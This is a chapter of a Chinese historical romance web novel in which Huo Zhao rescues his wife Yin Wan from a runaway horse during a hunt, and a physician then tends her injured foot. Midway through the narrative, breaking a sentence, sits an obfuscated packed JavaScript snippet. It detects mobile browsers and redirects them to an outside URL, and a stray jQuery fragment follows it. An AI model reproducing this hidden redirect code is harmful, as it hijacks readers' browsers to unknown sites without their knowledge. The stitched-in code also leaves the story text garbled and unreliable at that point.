密林腹地边缘,殷婉刚侧过身避开一处旁生的枝条,立刻又坐稳紧紧抓住手中的缰绳,眼前的树丛已然又昏暗了不少,她不知道现在身处何地,但隐约能判断出,这地方应当是在林木中心偏外的地方,因为这里的古树不像刚刚那般粗壮,且枝条侧向而生,显然是因为这处能照到日光。
她早在进入林地之时就想要跳下马,但不知为何那脚蹬处竟然紧紧卡住了,她一时挣脱不得这才错过了最佳时机。
后来眼瞧着照夜越跑越快,以她仅有的经验来判断,从这儿跌下去,估计她这小身板,不死也得摔个半残废。
更何况,经过她一番努力,尽管挣脱了一只脚蹬,但另一只显然还没有半分松动的迹象。
现在她唯有把着缰绳,紧紧贴靠在马背上才有生机。
这是第一次,她深刻意识到,自己离死亡居然如此近。
手下的缰绳硌得她掌心剧痛,尽管有护腕贴合,但细腻的皮肤显然受不了这一番磨折。但她不敢动弹,心里只有那人前日耳提面命的话在脑中反复回荡。
“如果判断不出位置,把住缰绳,因为起码它比你知道方向。”
殷婉不知道这时候为何突然想起霍钊,也许在危急时刻就会想到救命稻草,也可能是下意识觉得他能依靠。
但理智告诉她,现在就快入夜了,他知道消息也顶多是通知宫里的禁卫军找人。
她现在只能靠自己和照夜了。
可马儿在发狂,它真的能知道方向吗?
殷婉因为山林中草叶的味道而微微皱眉,太刺鼻了,却能让她保持清醒,而趴在马背上的动作也让足下的景象清晰起来。
照夜它,似乎一直都在沿着山里灌木丛的方向奔行。
她想不出理由,只能以最快的速度判断出灌木向阳的那面,略微使力,让马匹朝叶子茂盛的那一边走。
愈是背阴肯定越是林地深处,她现在得尽力让马匹往外走,然后努力让马靴脱离下脚蹬。
她不知道现在走了多久,只能感觉继续朝下走,脸侧没有了灌木叶子的干扰。甚至能低头看到矮丛。
这片灌木明显低了很多!
那肯定不在林地深处了。
与此同时,耳边似乎隐隐有人声传来。
起初是一声声的“夫人”,好像隔着很远,听不大清楚。
她想回应却因为马上的颠动张不开口,用尽全身力气坐起身打算呼救,却听到一句极其响亮的声音。
“殷婉。”
就在近处!
一匹墨色的马已经从林中跃出,正是驱使的人在叫她。
是霍钊!
殷婉觉得紧贴马鬃的面庞已经有些擦痛,但她还是猛地用力坐起。
“侯爷。”
“把手给我。”
跟着声音,霍钊已经伸臂过去,他骑着良驹,但显然不能和这起了狂性的马比。
眼下把她带下马,才是最好的选择。
“侯爷,右脚卡住了。”
霍钊一听,立刻看向她足下。
那脚蹬不知为何反钩住了马靴的上部,脱离看起来很是困难。
他考虑了一瞬,几乎没有任何犹豫地掏出短刀。
“不要动。”
殷婉愣怔的当口,就感觉足下一凉,那带着凉意的刀从她的皮肤紧贴而过,风过无痕般把靴鞋划开了一个大口子。
她能赤足挣开脚蹬了。
前方是茂林沼泽,霍钊看了一眼榆树上的红绳就准确判断出这点。
那是他们上午安排的标记。
因为此地凶险,今日的围猎特地避开这里。
现在……也必须避开。
他目测了一下和身边人的距离,估算着冲击力单脚跨马。
以现在的速度,要救下人,他二人必定一同坠马。
“先把左脚撤出来,然后把右手伸给我。”
殷婉也知道此刻情况危急,好像溺水之人紧依浮木般用尽全部的力气把手伸过去。
两手相处的一瞬,她感觉耳旁呼呼的风声一下听不到了。
她的后脑勺跟着被紧紧扣在他胸膛,整个人也被揽在他怀里,仿佛地动山摇般的一声撞击,然后就是一阵磕动,不知道滚了多少圈,直到眼前的晕眩停下,她想睁开眼看看情况。
却感觉眼前还是灰蒙蒙的一片,鼻端紧贴着他坚硬的护甲。
她还是被他护在身前。
惊鸟之声响起。
落在山石嶙峋地面上的霍钊慢慢起身。
“还好吗?”
他的声音恢复了往日的平静,可急促起伏的胸膛还是能看出刚刚的惊险。
“侯爷您没事吧?”
刚才她二人一同撞向地面的力度格外大,此刻殷婉不禁有些急迫。
“有软甲护着,倒也无事。”
他声线冷静。
耳边兵士的声音更响亮了,殷婉突然有种劫后余生的欣喜。
看到霍钊站起来,她也不禁想从地上爬起来,却被他制止住。
顺着他的视线一看,那只原本莹白细腻的脚上面已经尽是划痕,隐约还有血色冒出,现在才后知后觉感觉到疼痛。
“别乱动”,他的话音落下,软软的帛料被裹在了她脚上,而她也被整个人打横抱起。
她太轻了。
这是霍钊抱起人后的第一个想法。
尽管那天在毡房内也抱了她一下,但时间太短暂,他根本顾不上多想。
可现在却是不同了,他抱着人送上马背,因为这动作拉扯着右肩的皮肉伤。让他不自觉地在意起了怀中的重量。
然后,他把她稳稳地放坐在马上。
但是这种安心感没有持续多久,只因没过片刻,又有一队亲兵来报,就说霍潞还在林中。
“潞小姐一直在外围的山道上找人,刚刚也并没有听到侯爷的吩咐和我们一同入灌木林。”
霍钊眉心微拧。
阿潞是安全的,但现在快入夜,还在山路上徘徊显然不安全。
“吁——”
极长的马嘶声伴着清脆的瓷哨声响起。
这是霍潞报信的信号。
“齐炎,你领人护送夫人下山,其他人跟我去接人。”
那瓷哨的声音很响亮,想来就在附近。
霍钊说完已经匆匆跨马上鞍,辨着刚刚声音的方向,驱马前行。
殷婉看到地上起了一阵扬尘,可前行的一队人马嗖地一下奔出,却忽然止住了前进的脚步。
远处正有两个隐隐绰绰的身影,一高一低,朝这边走来。
高的是骑在爱驹雪沉上的霍潞,低的那个是一道牵着马的人影。
等人走近了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822309|188368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
殷婉才认出是那位裴公子。
“大嫂!你没事吧?”霍潞看到她已经跳下马来,一副犯了大错的样子,
“都怪我……”
殷婉现在也是面色有些苍白,但看到小姑子平安无事,便宽慰道,“我没事的,而且怎么能怪你,本来也是我非要出来的。”
她说完,用余光看着霍钊的神色。原本有些焦急的人已经重新恢复了平静的神情,下马朝裴迟道,“裴大人。”
新科进士还没有官职,霍钊这个称呼显然是在表达感谢。
“侯爷。”
裴迟还是原先的态度,不卑不亢地答话。
“刚多亏了裴公子,不然我就要被毒蝎子咬了。”霍潞在一边支支吾吾地说。
裴迟下马后就施了个礼,语气平缓地说,“姑娘不必多礼,只是围猎时在山中发现了一丛极珍贵的大叶龙胆,帮你也不过是这毒虫正好差点污了那药罢了。就是可惜天色已黑,没办法取那丛草药了。”
裴迟说着已经提起一个兜囊,里边隐约还有些异响。
想来是那毒蝎子无疑。
“不过这物也可入药,倒是没有白来。”
霍潞听了,面上那抹可疑的红已经消退,不尴不尬地笑,“……那也还是多谢裴公子了。”
霍钊看了看前侧的人影,微微偏眼吩咐身后的亲卫兵长卓峰,“明日得空叫人帮裴大人取了那丛大叶龙胆。”
裴迟原本有些遗憾的表情终于有了松动,“提前谢侯爷相助。”
……
.
一行人回到营地天色已经黑了下来。
霍钊在毡房外下马,把殷婉抱了回去,他一路没有说话,直到把人放回床上,才开口,“再等等,我已经叫了医工”。
他说完,弯下身子把裹着她脚的披风撤走。
那只受伤的赤足彻底显露出来。因为一路颠簸,伤口处已经鲜血淋漓,现在瞧着十分可怖。
“疼吗?”
殷婉轻轻摇了摇头,一双眼极郑重地直视着半蹲着的他,缓缓开口道,“谢谢您。”
他好像不知道该如何回答,停顿很久才开口,“我本就负责安防事宜,分内之事罢了,总不能让你在我眼皮子底下出事。”
他说完似乎换了下气,胸口微微起伏,别开脸看向帐外。
医工恰在此时进门。
现在刚刚入夜,那医工不知何故被定远侯差遣,又因为叫他的兵卒很是紧张,现在已经跑得上气不接下气。
等见了伤口,却是有些慌张。
显然现在是侯夫人伤着了,他却有些不敢堂而皇之地施诊。
只因为这伤口在足上,现在那位侯爷还在身后定定看着他。
医工抹了把额汗,抖着手把帕子拿出来,却听人道,“不必顾忌,立刻看诊。”
霍钊从来都没有那么多讲究,更不想为难人。
大夫得令立刻清理了脚上的淤血,又上了草药拿棉纱仔细包好,这才低声道:
“侯爷,都妥当了,夫人脚上的伤口尽管多,但都不深,只是被石子刮到,只要按时换药,不消几日就好了。”
他说着拿出一个描金的瓶子,恭敬递了过去,“半个时辰后先涂上这个药,然后只要每隔一日换一次就可以了。”
霍钊接下,又给了医工赏银,才派人把他送走。